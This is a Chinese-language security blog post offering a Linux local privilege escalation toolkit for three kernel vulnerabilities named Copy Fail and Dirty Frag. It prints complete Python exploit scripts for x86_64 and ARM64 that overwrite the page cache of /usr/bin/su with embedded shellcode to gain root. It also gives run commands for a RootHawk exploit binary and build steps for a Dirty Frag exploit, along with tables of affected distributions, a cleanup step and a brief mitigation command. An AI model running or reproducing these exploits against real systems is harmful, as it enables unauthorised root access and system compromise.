目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录
目录
615 字
3 分钟
Linux 本地提权工具集
Linux 本地提权工具集
一、漏洞概述
| CVE | 别名 | 类型 | 内核模块 |
|---|---|---|---|
| CVE-2026-31431 | Copy Fail | 页缓存任意写入 | AF_ALG / algif_aead |
| CVE-2026-43284 | Dirty Frag (ESP) | 页缓存任意写入 | XFRM / esp4 / esp6 |
| CVE-2026-43500 | Dirty Frag (RxRPC) | 页缓存任意写入 | RxRPC |
共同特征:
- Dirty Pipe 漏洞族的延续,都是利用
splice()将只读文件的页缓存植入内核网络路径,内核 in-place 加解密时直接修改页缓存 - 确定性逻辑漏洞,不依赖竞态条件,成功率高
- 漏洞利用失败不会导致内核 panic
二、影响环境
CVE-2026-31431 (Copy Fail)
需 AF_ALG/algif_aead 模块可用:
| 已测试系统 | 结果 |
|---|---|
| AnolisOS | ✅ |
| openEuler | ✅ |
| 统信 UOS | ✅ |
| openKylin | ✅ |
| Ubuntu | ✅ |
CVE-2026-43284 / CVE-2026-43500 (Dirty Frag)
影响范围 2017-01-17 至今约 9 年的内核版本:
| 已测试系统 | 内核版本 | 结果 |
|---|---|---|
| Ubuntu 24.04.4 | 6.17.0-23-generic | ✅ |
| RHEL 10.1 | 6.12.0-124.49.1 | ✅ |
| openSUSE Tumbleweed | 7.0.2-1-default | ✅ |
| CentOS Stream 10 | 6.12.0-224.el10 | ✅ |
| AlmaLinux 10 | 6.12.0-124.52.3 | ✅ |
| Fedora 44 | 6.19.14-300.fc44 | ✅ |
链式覆盖逻辑:
- ESP 路径:需
unshare(CLONE_NEWUSER)→ 大多数发行版可用 - RxRPC 路径:无需 user namespace,Ubuntu 默认加载
rxrpc.ko→ 覆盖 AppArmor 限制场景
三、使用方法
方法一:Python 脚本(仅 CVE-2026-31431)
脚本文件:CVE-2026-31431-linux本地提权/exp.py、exp_arm64.py
1# x86_642python3 exp.py3
4# ARM645python3 exp_arm64.pyexp.py(x86_64 shellcode):
1#!/usr/bin/env python32import os as g,zlib,socket as s3def d(x):return bytes.fromhex(x)4def c(f,t,c):5 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)6 try:u.recv(8+t)7 except:08f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0032c310d3"))9while i<len(e):c(f,i,e[i:i+4]);i+=410g.system("su")exp_arm64.py(ARM64 shellcode):
1#!/usr/bin/env python32import os as g,zlib,socket as s3def d(x):return bytes.fromhex(x)4def c(f,t,c):5 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)6 try:u.recv(8+t)7 except:08f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06caa230181e7dffab08648878bddf7f010c04c1d7400601"))9while i<len(e):c(f,i,e[i:i+4]);i+=410g.system("su")方法二:RootHawk 集成工具
项目地址:https://github.com/dacj4n/RootHawk
RootHawk 整合了多个提权模块的 Go 二进制文件。
选择对应架构:
RootHawk-amd64— x86_64RootHawk-arm64— ARM64RootHawk-386— 32位 x86
1chmod +x RootHawk-amd642
3# 查看帮助4./RootHawk-amd64 -help5
6# 查看模块列表7./RootHawk-amd64 -list8
9# 执行 Copy Fail10./RootHawk-amd64 -e CVE-2026-3143111
12# 先备份后提权13./RootHawk-amd64 -e CVE-2026-31431 -backup /tmp/su.bak14
15# 提权后执行指定程序16./RootHawk-amd64 -e CVE-2026-31431 -backup /tmp/su.bak -exec /tmp/root-task17
18# 执行 Dirty Frag(详细输出)19./RootHawk-amd64 -e CVE-2026-43284 -v20
21# 依次执行全部模块22./RootHawk-amd64 -any方法三:Dirty Frag 源码编译
项目地址:https://github.com/dacj4n/dirtyfrag
源码文件:dirtyfrag/exp.c
1git clone https://github.com/dacj4n/dirtyfrag.git2cd dirtyfrag3gcc -O0 -Wall -o exp exp.c -lutil4./exp四、执行后清理(重要)
Dirty Frag 运行后页缓存被污染,需 root 执行:
1echo 3 > /proc/sys/vm/drop_caches或直接重启系统。
五、RootHawk 完整参数
1-list 显示已集成的 CVE 模块2-e <名称> 执行指定 CVE3-any 按顺序执行全部模块4-pk <路径> 指定 pkexec 路径(默认 /usr/bin/pkexec)5-backup <路径> CVE-2026-31431 提权前备份 su6-exec <路径> CVE-2026-31431 提权后执行指定程序7-v 输出详细日志8-help 显示帮助六、临时缓解
补丁未发布前:
1sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"部分信息可能已经过时
目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录